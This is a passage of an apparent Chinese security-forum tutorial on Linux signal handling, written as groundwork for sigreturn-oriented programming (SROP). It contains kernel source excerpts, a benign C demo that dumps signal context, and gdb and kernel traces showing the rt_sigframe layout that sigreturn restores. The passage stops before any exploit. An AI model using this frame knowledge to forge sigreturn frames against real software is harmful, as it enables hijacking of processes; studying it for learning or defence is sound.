首页
社区
课程
招聘
PWN入门-12-SROP拜师
发表于: 2024-10-9 20:54 1657

PWN入门-12-SROP拜师

2024-10-9 20:54
1657

进程的贴身行囊 - 信号

信号是用户态进程与内核进行通信的一种方式,它是陷阱(软中断)的一种。如果想要查看所有的信号类型可以查询Linux手册。

信号抵达进行需要经过两个步骤,一是发送信号,而是接收信号。

信号与进程组

在Linux中进程的待处理的信号由task_struct结构体中的signal成员和pending成员进行记录,signal成员和pending成员的区别在于,signal成员中存放的待处理信号对整个进程组都是生效的,而pending成员只对指定的线程有效。

signal成员由signal_struct结构体定义,该结构体中的shared_pending成员是管理共享信号的主要成员,它由由sigpending结构体定义,task_struct结构体中的pending成员也由sigpending结构体定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct signal_struct {
    refcount_t      sigcnt;
    ......
    struct sigpending   shared_pending;
    ......
    struct rw_semaphore exec_update_lock;
} __randomize_layout;
 
struct sigpending {
    struct list_head list;
    sigset_t signal;
};
 
struct taks_struct {
    ......
    struct signal_struct            *signal;
    struct sighand_struct __rcu     *sighand;
    struct sigpending               pending;
    ......
}

sigpending结构体中的list成员指向了待处理信号队列,从下面的定义中可以看到info记录了关键的信号信息。

sigpending结构体中还可以看到一个list成员的身影,既然sigpending结构体中的list成员已经可以管理待处理信号队列了,那么sigpending结构体中的list成员又有什么用呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define __SIGINFO           \
struct {                \
    int si_signo;           \
    int si_code;            \
    int si_errno;           \
    union __sifields _sifields; \
}
 
typedef struct kernel_siginfo {
    __SIGINFO;
} kernel_siginfo_t;
 
struct sigqueue {
    struct list_head list;
    int flags;
    kernel_siginfo_t info;
    struct ucounts *ucounts;
};

要知道,在Linux中信号分成常规信号和实时信号,这里我们需要先了解一下它们的区别。

常规信号与实时信号

Linux中1号 - 31号是常规信号,32号+是实时信号。它们的区别在于,同进程下同类型的常规信号只能存在一个,当常规信号被响应后,下一个同类型的常规信号才可以进入队列。

对于实时信号来讲则不是这样,同进程下可以存在多个同类型的实时信号,系统会根据实时信号在队列中的数量进行多次响应。

因此sigpending结构体中的list成员管理着不同类型的信号,此链表中的信号类型是不能重复的,sigpending结构体中的list成员管理着同类型的信号,如果有需要且信号是实时信号,那么待处理信号就会被插入sigpending结构体中的list成员对应的队列中。

驱动验证

通过内核驱动(见附件)指定函数和进程ID,可以将进程尚未处理的信号信息打印出来,从下面可以看到,进程收到了信号SIGTERMSIGTERM信号的序号是15,该信号是对整个进程组生效的。

1
2
3
4
5
arch_do_signal_or_restart
 
[16176.561445]  pending signal ->
[16176.561447]  shared pending signal ->
[16176.561448]          00000000 - signal num = 15 ;

信号的发送

信号发送的原因可以分成三种,一是内核检测到错误发送(比如段错误,但并不是所有的错误都会导致信号产生)进而向进程组发送信号,二是主动发送信号(比如调用kill函数、alarm函数或者使用kill程序),三是外部事件触发的信号(如I/O设备、其他进程)。

通过Shell运行的进程,通过键盘输入CTRL + CCTRL + Z可以向进程发送SIGINTSIGTSTP信号。

信号的接收

进程接收到信号后,会根据信号的类型执行默认的行为(终止进程、终止进程并转储、挂起、忽略信号)。

在C语言中允许程序通过sigaction函数(更加强大,signal函数是sigaction函数的子集)设置指定信号的处理方法,而不是按照默认行为处理。

1
2
3
4
5
6
7
8
9
void (*signal(int sig, void (*func)(int)))(int);
 
int sigaction(int signum,
    const struct sigaction *_Nullable restrict act,
    struct sigaction *_Nullable restrict oldact);
 
特殊的处理函数 ->
    SIG_DFL:执行默认操作
    SIG_IGN:忽略信号

C语言提供的信号处理函数并不是所有的信号都可以处理的,比如信号SIGKILLSIGSTOP,它们就必须执行默认行为。

用户态程序查看信号的发出方

有时候程序接收到信号后,我们会想要知道信号发出方的信息,因此下面给出了一种自定义信号处理函数获取发出方信息的办法。

下方直接给出了自定义信号处理操作的示例代码,代码由信号处理、全局跳转、退出处理三个部分组成。

自定义的信号处理函数会打印信号信息以及发送信息方的信息,发送方的信息被存储在my_signal_handle中的siginfo变量内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <setjmp.h>
#include <signal.h>
#include <ucontext.h>
 
typedef void (*signal_handle_func)(int, siginfo_t*, void*);
 
#define SIGNAL_REGISTER_FAILED      ((signal_handle_func)-1)
#define SETJMP_RET_VAL_1            2333
#define KRNL_UCNTXT_ELE_CNT         5
 
typedef struct my_signal_info {
    unsigned long sig_num;
    signal_handle_func handle_func;
} my_siginfo;
 
static void my_signal_handle(int, siginfo_t*, void*);
 
static my_siginfo my_si[] = {
    {
        .sig_num = SIGKILL,
        .handle_func = my_signal_handle,
    },
    {
        .sig_num = SIGTERM,
        .handle_func = my_signal_handle,
    },
};
static int ret_num = 0;
static jmp_buf test_jmp_context;
 
static void my_atexit_func(void)
{
    printf("enter %s, program will exit\n", __func__);
}
 
static void my_atexit_register(void (*func)(void))
{
    int ret;
 
    ret = atexit(func);
    if (ret != 0) {
        printf("register atexit function failed\n");
 
        exit(ret);
    }
}
 
static void siginfo_dump(siginfo_t* si)
{
    if (si) {
        printf(
            "\n[**] signinfo (signinfo_t size 0x%llx) - (_sifields size 0x%llx):\n"
            "si_signo = %08d ; si_errno = %08d ; si_code = %08d ;\n"
            "si_pid   = %08d ; si_uid   = %08d ;\n"
            "[--] _sifields will be displayed differently depending on the signal\n"
            "[--] only pid and uid will be shown here\n",
            sizeof(*si), sizeof(si->_sifields),
            si->si_signo, si->si_errno, si->si_code,
            si->_sifields._pad[0], si->_sifields._pad[1]
        );
    }
}
 
static void libc_fpstate_dump(fpregset_t fpregs)
{
    printf(
        "\tcwd = %d ; swd = %d ; ftw = %d ; fop = %d ;\n"
        "\trip = 0x%016lx ; rdp = 0x%016lx ;\n"
        "\tmxcsr = 0x%08x ; mxcr_mask = 0x%08x ;\n"
        "\tno [_st] [_xmm]\n",
        fpregs->cwd,
        fpregs->swd,
        fpregs->ftw,
        fpregs->fop,
        fpregs->rip,
        fpregs->rdp,
        fpregs->mxcsr,
        fpregs->mxcr_mask
    );
}
 
static void ucontext_dump(ucontext_t* ucontext)
{
    ssize_t arr_size, ele_size, ele_cnt;
    int i;
 
    if (ucontext) {
        printf(
            "\n[**] ucontext (ucontext_t size 0x%llx):\n"
            "uc_flags = 0x%016lx ; uc_link = 0x%016lx ;\n"
            "uc_stack (stack_t size 0x%llx) ->\n"
            "\tss_sp = 0x%016lx ; ss_flags = 0x%016lx ; ss_size = 0x%016lx\n"
            "uc_mcontext (mcontext_t size 0x%llx) ->\n"
            "\t---- gregs start ----",
            sizeof(*ucontext),
            ucontext->uc_flags, (unsigned long)ucontext->uc_link, sizeof(ucontext->uc_stack),
            ucontext->uc_stack.ss_sp, ucontext->uc_stack.ss_flags, ucontext->uc_stack.ss_size,
            sizeof(ucontext->uc_mcontext)
        );
 
        i = 0;
        while (i < __NGREG) {
            if ((i % 4) == 0) {
                printf("\n\t");
            }
 
            printf(
                "0x%016lx ; ", ucontext->uc_mcontext.gregs[i]
            );
 
            i++;
        }
 
        printf(
            "\n\t---- gregs end ----\n"
            "\t---- fpregs start -----\n"
        );
        libc_fpstate_dump(ucontext->uc_mcontext.fpregs);
        printf("\t---- fpregs end ----\n");
 
        printf(
            "no uc_sigmask (sigset_t size 0x%llx)\n"
            "__fpregs_mem (_libc_fpstate size 0x%llx) ->\n",
            sizeof(ucontext->uc_sigmask), sizeof(ucontext->__fpregs_mem)
        );
        libc_fpstate_dump(&ucontext->__fpregs_mem);
 
        i = 0;
        arr_size = sizeof(ucontext->__ssp);
        ele_size = sizeof(unsigned long long);
        ele_cnt = arr_size / ele_size;
        printf(
            "__ssp (array size 0x%llx) ->\n\t",
            arr_size
        );
        while (i < 4) {
            printf("0x%016llx ; ", ucontext->__ssp[i]);
 
            i++;
        }
        printf("\n");
    }
}
 
static void my_signal_handle(int signum, siginfo_t* si, void* ucontext)
{
    printf(
        "\n[**] receive signal, signal base info:\n"
        "signal num    = %d \n"
        "signal info   = 0x%016lx\n"
        "user context  = 0x%016lx\n",
        signum, (unsigned long)si, (unsigned long)ucontext
    );
 
    siginfo_dump(si);
    ucontext_dump(ucontext);
}
 
static signal_handle_func my_customize_signal_register_process(my_siginfo* msi)
{
    int ret;
    struct sigaction new_act, old_act;
 
    memset(&new_act, 0, sizeof(struct sigaction));
 
    sigemptyset(&new_act.sa_mask);
    new_act.sa_flags = SA_SIGINFO;
#ifdef  SA_RESTART
    new_act.sa_flags |= SA_RESTART;
#endif
    new_act.sa_sigaction = msi->handle_func;
 
    ret = sigaction(msi->sig_num, &new_act, &old_act);
    if (ret != 0) {
        return SIGNAL_REGISTER_FAILED;
    }
 
    return old_act.sa_sigaction;
}
 
static void my_signal_register(void)
{
    signal_handle_func tmp_func;
    size_t arry_size, ele_size, ele_cnt;
 
    arry_size = sizeof(my_si);
    ele_size = sizeof(my_siginfo);
    ele_cnt = arry_size / ele_size;
 
    do {
        tmp_func = my_customize_signal_register_process(&my_si[ele_cnt - 1]);
        if (tmp_func == SIGNAL_REGISTER_FAILED) {
            printf("cannot register signo %d, errno %d\n", my_si[ele_cnt - 1].sig_num, errno);
        }
        else {
            printf("register signo %d succeed\n", my_si[ele_cnt - 1].sig_num);
        }
    } while(--ele_cnt);
}
 
static void my_signal_setting(void)
{
    my_atexit_register(my_atexit_func);
 
    my_signal_register();
}
 
static void setting4globaljmp(void)
{
    printf("enter %s\n", __func__);
 
    longjmp(test_jmp_context, SETJMP_RET_VAL_1);
 
    printf("leave %s\n", __func__);
}
 
static void global_jmp_test(void)
{
    int cur_ret_val;
 
    cur_ret_val = setjmp(test_jmp_context);
    printf("num %d -> setjmp return: %d\n", ret_num, cur_ret_val);
    ret_num++;
 
    if (cur_ret_val == 0) {
        setting4globaljmp();
    }
}
 
int main(void)
{
    my_signal_setting();
    global_jmp_test();
 
    printf("pid = %d, waiting for a signal\n", getpid());
    pause();
}

运行程序后向程序发送SIGTERM信号后,程序出现如下的打印,从打印中可以看到程序收到信号15(对应SIGTERM),si_code为0对应着SI_USER,代表信号由用户发出,si_uid给出了该用户的用户ID,si_pid给出了发出信号的进程ID。

通过echo $$可以将kill程序运行的进程ID打印出来,该进程ID是和si_pid一致的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
程序运行结果:
register signo 15 succeed
cannot register signo 9, errno 22
num 0 -> setjmp return: 0
enter setting4globaljmp
num 1 -> setjmp return: 2333
pid = 10411, waiting for a signal
 
[**] receive signal, signal base info:
signal num    = 15
signal info   = 0x00007ffd67435e30
user context  = 0x00007ffd67435d00
 
[**] signinfo (signinfo_t size 0x80) - (_sifields size 0x70):
si_signo = 00000015 ; si_errno = 00000000 ; si_code = 00000000 ;
si_pid   = 00009013 ; si_uid   = 00001000 ;
[--] _sifields will be displayed differently depending on the signal
[--] only pid and uid will be shown here
 
[**] ucontext (ucontext_t size 0x3c8):
uc_flags = 0x0000000000000006 ; uc_link = 0x0000000000000000 ;
uc_stack (stack_t size 0x18) ->
        ss_sp = 0x0000000000000000 ; ss_flags = 0x0000000000000000 ; ss_size = 0x0000000000000000
uc_mcontext (mcontext_t size 0x100) ->
        ---- gregs start ----
        0x0000000000000000 ; 0x0000000000000064 ; 0x00007ffd67436053 ; 0x0000000000000202 ;
        0x0000000000000000 ; 0x00007ffd674362a8 ; 0x0000000000403d78 ; 0x00007f8de3eec020 ;
        0x00007ffd67435c20 ; 0x0000000001b612a0 ; 0x00007ffd67436180 ; 0x00007ffd67436298 ;
        0x0000000000000000 ; 0xfffffffffffffffc ; 0x00007f8de3d93d10 ; 0x00007ffd67436178 ;
        0x00007f8de3d93d10 ; 0x0000000000000202 ; 0x002b000000000033 ; 0x0000000000000000 ;
        0x0000000000000000 ; 0x0000000000000000 ; 0x0000000000000000 ;
        ---- gregs end ----
        ---- fpregs start -----
        cwd = 895 ; swd = 0 ; ftw = 0 ; fop = 0 ;
        rip = 0x0000000000000000 ; rdp = 0x0000000000000000 ;
        mxcsr = 0x00001f80 ; mxcr_mask = 0x0002ffff ;
        no [_st] [_xmm]
        ---- fpregs end ----
no uc_sigmask (sigset_t size 0x80)
__fpregs_mem (_libc_fpstate size 0x200) ->
        cwd = 0 ; swd = 0 ; ftw = 0 ; fop = 0 ;
        rip = 0x0000000000000000 ; rdp = 0x0000000000000000 ;
        mxcsr = 0x0000037f ; mxcr_mask = 0x00000000 ;
        no [_st] [_xmm]
__ssp (array size 0x20) ->
        0x0000000000000000 ; 0x0000000000000000 ; 0x0000000000000000 ; 0x00007ffd67436160 ;
enter my_atexit_func, program will exit
 
主动触发程序信息:
kill -s SIGTERM 10411
echo $$
9013

当然这种方法仍然是不能处理某些信号的(如SIGKILLSIGSTOP等等)。

信号的处理流程

谁来接收信号?

此处以kill程序为例,我们通过strace工具追踪该程序产生的系统调用。

1
2
3
4
5
6
strace /usr/bin/kill -s SIGTERM 2790
    execve("/usr/bin/kill", ["/usr/bin/kill", "-s", "SIGTERM", "2790"], 0x7ffc5e9561a8 /* 31 vars */) = 0
    ......
    kill(2790, SIGTERM)
    exit_group(0)                           = ?
    +++ exited with 0 +++

在打印的内容中可以看到,kill程序通过kill函数向内核发出__NR_kill系统调用。

1
#define __NR_kill 62

内核会通过SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)__NR_kill系统调用进行接收,其中的kill_something_info函数是实际处理的信号的地方。

1
2
3
4
5
6
7
8
SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)
{
    struct kernel_siginfo info;
 
    prepare_kill_siginfo(sig, &info);
 
    return kill_something_info(sig, &info, pid);
}

kill_something_info函数中不难看出,函数由三个部分组成,它们分别是pid > 0pid = -1pid < 0。,当pid > 0时,发送信号给指定的进程,当pid = -1时,发送信号给自身外的其余进程,当pid < 0时,发送信号给自身作者的进程组。

这里我们重点关注pid > 0的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int kill_something_info(int sig, struct kernel_siginfo *info, pid_t pid)
{
    int ret;
 
    if (pid > 0)
        return kill_proc_info(sig, info, pid);
 
    /* -INT_MIN is undefined.  Exclude this case to avoid a UBSAN warning */
    if (pid == INT_MIN)
        return -ESRCH;
 
    read_lock(&tasklist_lock);
    if (pid != -1) {
        ......
    } else {
        ......
    }
    read_unlock(&tasklist_lock);
 
    return ret;
}

kill_proc_info函数最终会调用__send_signal_locked函数对信号进行处理。

__send_signal_locked函数的内部,首先会根据type变量判断是添加到给进程组还是线程(是PIDTYPE_PID时添加到线程队列),再通过__sigqueue_alloc分配一个sigqueue,然后sigqueue通过list_add_tail接口添加到task_strutpending成员的链表内,作为待处理信号,最后将信号信息和发送方信息添加到sigqueue内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
kill_proc_info
    ->   kill_pid_info
        ->   group_send_sig_info
            ->   do_send_sig_info
                -> send_signal_locked
                    -> __send_signal_locked
 
enum pid_type
{
    PIDTYPE_PID,
    PIDTYPE_TGID,
    PIDTYPE_PGID,
    PIDTYPE_SID,
    PIDTYPE_MAX,
};
 
static int __send_signal_locked(int sig, struct kernel_siginfo *info,
                struct task_struct *t, enum pid_type type, bool force)
{
    ......
    pending = (type != PIDTYPE_PID) ? &t->signal->shared_pending : &t->pending;
    ......
    q = __sigqueue_alloc(sig, t, GFP_ATOMIC, override_rlimit, 0);
    ......
    if (q) {
        list_add_tail(&q->list, &pending->list);
        switch ((unsigned long) info) {
        case (unsigned long) SEND_SIG_NOINFO:
        clear_siginfo(&q->info);
            q->info.si_signo = sig;
            q->info.si_errno = 0;
            q->info.si_code = SI_USER;
            q->info.si_pid = task_tgid_nr_ns(current,
                            task_active_pid_ns(t));
            rcu_read_lock();
            q->info.si_uid =
                from_kuid_munged(task_cred_xxx(t, user_ns),
                         current_uid());
            rcu_read_unlock();
            break;
        ......
        }
    }
    ......
    complete_signal(sig, t, type);
    ......
}

complete_signal函数会决定由信号由谁接收。首先判断的条件是wants_signal函数,在当前任务应该接收信号时,会将接收权限交给当前进程,之后如果发现信号是发送给指定线程或单线程进程的话,就会直接返回,最后会从多线程中找到一个可用的线程。

接下来如果发现发现信号是致命的,就会通过signal_wake_up接口给每一个线程都添加上TIF_SIGPENDING标志,反之则只给指定的线程添加TIF_SIGPENDING标志。

TIF_SIGPENDING标志代表存在待处理的信号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signal_wake_up
    -> signal_wake_up_state
        -> set_tsk_thread_flag: TIF_SIGPENDING
 
static void complete_signal(int sig, struct task_struct *p, enum pid_type type)
{
    struct signal_struct *signal = p->signal;
    struct task_struct *t;
 
    if (wants_signal(sig, p))
        t = p;
    else if ((type == PIDTYPE_PID) || thread_group_empty(p))
        return;
    else {
        ......
    }
    if (sig_fatal(p, sig) &&
        (signal->core_state || !(signal->flags & SIGNAL_GROUP_EXIT)) &&
        !sigismember(&t->real_blocked, sig) &&
        (sig == SIGKILL || !p->ptrace)) {
        ......
        do {
            task_clear_jobctl_pending(t, JOBCTL_PENDING_MASK);
            sigaddset(&t->pending.signal, SIGKILL);
            signal_wake_up(t, 1);
        } while_each_thread(p, t);
        ......
    }
    signal_wake_up(t, sig == SIGKILL);
    return;
}

何时处理信号?

不管出于哪种原因发送信号,它们第一个需要的抵达的目标地点都是相同的,这个目标地点就是内核,那么内核又是如何进一步处理信号的呢?

对于内核而言,它会通过do_signal函数(它是架构指定的,具体名字可能不同)处理信号,下面通过kprobe机制中的pre_handlerarch_do_signal_or_restart函数之前打印出栈回溯(详情可见驱动代码)。

从栈回溯中可以看到,此时用户空间触发系统调用进入内核空间,当do_syscall_64函数执行完系统调用后,会调用syscall_exit_to_user_mode函数从内核空间退回到用户空间,使用arch_do_signal_or_restart函数处理信号的操作也发生在这一阶段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CPU: 4 PID: 5738 Comm: srop_example
Call Trace:
<TASK>
dump_stack_lvl+0x44/0x5c
? arch_do_signal_or_restart+0x1/0x830
stack_dump_by_kprobe_pre+0x3b/0x40 [lde]
kprobe_ftrace_handler+0x10b/0x1b0
0xffffffffc02b90c8
? arch_do_signal_or_restart+0x1/0x830
arch_do_signal_or_restart+0x5/0x830
exit_to_user_mode_prepare+0x195/0x1e0
syscall_exit_to_user_mode+0x17/0x40
do_syscall_64+0x61/0xb0
......
entry_SYSCALL_64_after_hwframe+0x6e/0xd8

exit_to_user_mode_loop函数会接收ti_work参数,该参数调用read_thread_flags接口,该接口会从thread_info结构体内读出flags成员,接收ti_work参数后,会检查TIF_SIGPENDING标志位(上面说过,待处理信号会添加该标志位),如果发现TIF_SIGPENDING标志位存在,就说明存在待处理信号此时就会调用arch_do_signal_or_restart函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
syscall_exit_to_user_mode
    -> __syscall_exit_to_user_mode_work
        -> exit_to_user_mode_prepare
            -> exit_to_user_mode_loop
                -> arch_do_signal_or_restart
 
ti_work = read_thread_flags();
static unsigned long exit_to_user_mode_loop(struct pt_regs *regs,
                        unsigned long ti_work)
{
    ......
    if (ti_work & (_TIF_SIGPENDING | _TIF_NOTIFY_SIGNAL))
            arch_do_signal_or_restart(regs);
    ......
}

如何处理信号?

arch_do_signal_or_restart函数响应的操作分成两部分,一是通过get_signal函数获取信号信息,二是通过handle_signal函数处理信号。

1
2
3
4
5
6
7
8
9
10
11
struct ksignal {
    struct k_sigaction ka;
    kernel_siginfo_t info;
    int sig;
};
struct pt_regs *regs
struct ksignal ksig
 
arch_do_signal_or_restart
    -> get_signal(&ksig)
        -> handle_signal(&ksig, regs)

handle_signal函数首先会通过test_thread_flag函数检查TIF_SINGLESTEP标志位,该标志位用于标记程序是否被中断下来,如果标志位存在,那就会通过user_disable_single_step函数将TIF_SINGLESTEP标志位清除掉,并通知调试器。

当调试器挂载到程序后,再触发信号时,会发现调试器会先收到通知,之后才是信号处理函数,原因就在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
    bool stepping, failed;
    struct fpu *fpu = &current->thread.fpu;
 
    ......
 
    stepping = test_thread_flag(TIF_SINGLESTEP);
    if (stepping)
        user_disable_single_step(current);
 
    failed = (setup_rt_frame(ksig, regs) < 0);
    if (!failed) {
        regs->flags &= ~(X86_EFLAGS_DF|X86_EFLAGS_RF|X86_EFLAGS_TF);
        fpu__clear_user_states(fpu);
    }
    signal_setup_done(failed, ksig, stepping);
}

setup_rt_frame函数是一个关键操作,第一步通过get_sigframe获取一个新的栈帧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static int __setup_rt_frame(int sig, struct ksignal *ksig, sigset_t *set, struct pt_regs *regs)
{
    struct rt_sigframe __user *frame;
    void __user *fp = NULL;
    unsigned long uc_flags;
 
    if (!(ksig->ka.sa.sa_flags & SA_RESTORER))
        return -EFAULT;
 
    frame = get_sigframe(&ksig->ka, regs, sizeof(struct rt_sigframe), &fp);
    uc_flags = frame_uc_flags(regs);
 
    if (!user_access_begin(frame, sizeof(*frame)))
        return -EFAULT;
 
    unsafe_put_user(uc_flags, &frame->uc.uc_flags, Efault);
    unsafe_put_user(0, &frame->uc.uc_link, Efault);
    unsafe_save_altstack(&frame->uc.uc_stack, regs->sp, Efault);
 
    unsafe_put_user(ksig->ka.sa.sa_restorer, &frame->pretcode, Efault);
    unsafe_put_sigcontext(&frame->uc.uc_mcontext, fp, regs, set, Efault);
    unsafe_put_sigmask(set, frame, Efault);
    user_access_end();
 
    if (ksig->ka.sa.sa_flags & SA_SIGINFO) {
        if (copy_siginfo_to_user(&frame->info, &ksig->info))
            return -EFAULT;
    }
 
    regs->di = sig;
    regs->ax = 0;
    regs->si = (unsigned long)&frame->info;
    regs->dx = (unsigned long)&frame->uc;
    regs->ip = (unsigned long) ksig->ka.sa.sa_handler;
    regs->sp = (unsigned long)frame;
    regs->cs = __USER_CS;
 
    if (unlikely(regs->ss != __USER_DS))
        force_valid_ss(regs);
 
    return 0;
 
Efault:
    user_access_end();
    return -EFAULT;
}
 
setup_rt_frame
    -> __setup_rt_frame

新的栈帧通过rt_sigframe结构体描述,其中pretcode代表着信号处理完成后下一步的返回地址,uc记录了上下文信息,info记录了信号信息。

1
2
3
4
5
struct rt_sigframe {
    char __user *pretcode;
    struct ucontext uc;
    struct siginfo info;
};

通过user_access_end结束之前的操作,可以将原始的上下文信息保存在用户态程序的栈上。

完成栈上数据的设置操作后,会继续更新用户态程序的寄存器信息,其中当前程序指针寄存器被放置了信号处理函数的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
copy_siginfo_to_user会往ucontext_t涵盖的范围内进行复制
 
sp + 0x0    | sigreturn         |
sp + 0x8    | ucontext_t* start |
sp + 0x3D0  | ucontext_t* end   |
 
(gdb) p /x *(ucontext_t*)$rdx
$2 = {uc_flags = 0x6, uc_link = 0x0, uc_stack = {ss_sp = 0x0, ss_flags = 0x2,
    ss_size = 0x0}, uc_mcontext = {gregs = {0x0, 0x64, 0x7fffffffddc4, 0x202, 0x0,
      0x7fffffffe018, 0x403d78, 0x7ffff7ffd020, 0x7fffffffd990, 0x4052a0,
      0x7fffffffdef0, 0x7fffffffe008, 0x0, 0xfffffffffffffffc, 0x7ffff7e9ed10,
      0x7fffffffdee8, 0x7ffff7e9ed10, 0x202, 0x2b000000000033, 0x0, 0x1, 0x0, 0x0},
    fpregs = 0x7fffffffdc40, __reserved1 = {0xc157, 0x7ffff7fc36b0, 0x3,
      0x7fff00000000, 0xffe2e0, 0x7ffff7ffe668, 0x7ffff7fcb000, 0x7ffff7fcbb82}},
  uc_sigmask = {__val = {0x0, 0xf, 0x0, 0x3e800000d81, 0x0 <repeats 12 times>}},
  __fpregs_mem = {cwd = 0x0, swd = 0x0, ftw = 0x0, fop = 0x0, rip = 0x0, rdp = 0x0,
    mxcsr = 0x37f, mxcr_mask = 0x0, _st = {{significand = {0x0, 0x0, 0x0, 0x0},
        exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x0}}, {significand = {
          0x1f80, 0x0, 0xffff, 0x2}, exponent = 0x0, __glibc_reserved1 = {0x0, 0x0,
          0x0}}, {significand = {0x0, 0x0, 0x0, 0x0}, exponent = 0x0,
        __glibc_reserved1 = {0x0, 0x0, 0x0}}, {significand = {0x0, 0x0, 0x0, 0x0},
        exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x0}}, {significand = {0x0,
          0x0, 0x0, 0x0}, exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x0}}, {
        significand = {0x0, 0x0, 0x0, 0x0}, exponent = 0x0, __glibc_reserved1 = {
          0x0, 0x0, 0x0}}, {significand = {0x0, 0x0, 0x0, 0x0}, exponent = 0x0,
        __glibc_reserved1 = {0x0, 0x0, 0x8000}}, {significand = {0x4007, 0x0, 0x0,
          0x0}, exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x8000}}}, _xmm = {{
        element = {0x3fff, 0x0, 0x0, 0x80000000}}, {element = {0x3fff, 0x0,
          0x4052a0, 0x0}}, {element = {0x4052a0, 0x0, 0x25252525, 0x25252525}}, {
        element = {0x25252525, 0x25252525, 0x0, 0xffffff00}}, {element = {0x0,
          0xffffff00, 0x0, 0x0}}, {element = {0xffffff00, 0x0, 0x0, 0xffff0000}}, {
        element = {0x0, 0x0, 0x0, 0x0}}, {element = {0x0, 0x0, 0x0, 0x0}}, {
        element = {0x0, 0x0, 0x6620676e, 0x6120726f}}, {element = {0x67697320,
          0xa6c616e, 0xff000000, 0x0}}, {element = {0x0, 0x0, 0x656c70,
--Type <RET> for more, q to quit, c to continue without paging--
          0x4c454853}}, {element = {0x622f3d4c, 0x622f6e69, 0x0, 0x0}}, {element = {
          0x0, 0x0, 0x0, 0x0}}, {element = {0x0, 0x0, 0x0, 0x0}}, {element = {0x0,
          0x0, 0x0, 0x0}}, {element = {0x0, 0x0, 0x0, 0x0}}}, __glibc_reserved1 = {
      0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xffffdef0, 0x7fff, 0x0, 0x0, 0xffffe018,
      0x7fff, 0x403d78, 0x0, 0xf7ffd020, 0x7fff, 0xf7e1d65b, 0x7fff, 0x46505853,
      0x204, 0x0, 0x0, 0x200, 0x0}}, __ssp = {0x0, 0x0, 0x0, 0x0}}

进入信号处理函数

我们在my_signal_handle函数进行处理时将程序中断下来观察栈回溯。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) bt
#0  my_signal_handle (signum=15, si=0x7fffffffdbb0, ucontext=0x7fffffffda80)
    at main.c:152
#1  <signal handler called>
#2  0x00007ffff7e9ed10 in __libc_pause () at ../sysdeps/unix/sysv/linux/pause.c:29
#3  0x0000000000401789 in main () at main.c:241
 
#define __NR_rt_sigreturn 15
 
(gdb) frame 1
#1  <signal handler called>
(gdb) disassemble
Dump of assembler code for function __restore_rt:
=> 0x00007ffff7e07050 <+0>:     mov    $0xf,%rax
   0x00007ffff7e07057 <+7>:     syscall
   0x00007ffff7e07059 <+9>:     nopl   0x0(%rax)
End of assembler dump.

1号栈帧被内核放置了信号处理结束后的操作__restore_rt函数,这个函数非常简单,它会将系统调用号放入rax寄存器内,然后执行系统调用,系统调用号15对应着__NR_rt_sigreturn

1
2
3
4
5
6
7
(gdb) frame 1
#1  <signal handler called>
(gdb) disassemble
Dump of assembler code for function __restore_rt:
=> 0x00007f2ddea2c050 <+0>:     mov    $0xf,%rax
   0x00007f2ddea2c057 <+7>:     syscall
   0x00007f2ddea2c059 <+9>:     nopl   0x0(%rax)

完成信号处理后会干什么?

__restore_rt函数触发系统调用时就会再次陷入内核当中,内核根据系统调用__NR_rt_sigreturn会触发__do_sys_rt_sigreturn函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[10732.866379] CPU: 2 PID: 4567 Comm: srop_example Tainted: G           OE      6.1.0-25-amd64 #1  Debian 6.1.106-3
[10732.866382] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[10732.866384] Call Trace:
[10732.866387]  <TASK>
[10732.866390]  dump_stack_lvl+0x44/0x5c
